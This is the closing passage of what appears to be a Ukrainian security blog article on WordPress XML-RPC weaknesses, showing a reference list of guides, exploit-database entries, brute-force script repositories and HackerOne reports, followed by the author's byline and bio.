  5. WP Hacked. How to Disable XML-RPC in WordPress Manually & Plugins?
  6. Medium. WordPress xmlrpc.php -common vulnerabilites & how to exploit them
  7. HackTricks. Pentesting WordPress. XML-RPC.
  8. Exploit-DB. WordPress Core < 5.3.x – ‘xmlrpc.php’ Denial of Service
  9. Youtube. Xmlrpc WordPress POC
  10. Github. Xmlrpc Bruteforce Script
  11. Github. Xmlrpc Bruteforce 2 Script
  12. https://hackerone.com/reports/96294
  13. https://hackerone.com/reports/1890719
  14. https://hackerone.com/reports/138869
  15. https://hackerone.com/reports/752073
  16. https://hackerone.com/reports/1147449

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, дослідник безпеки в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
Wordpress - це справжня "робоча конячка", яку можна використовувати для…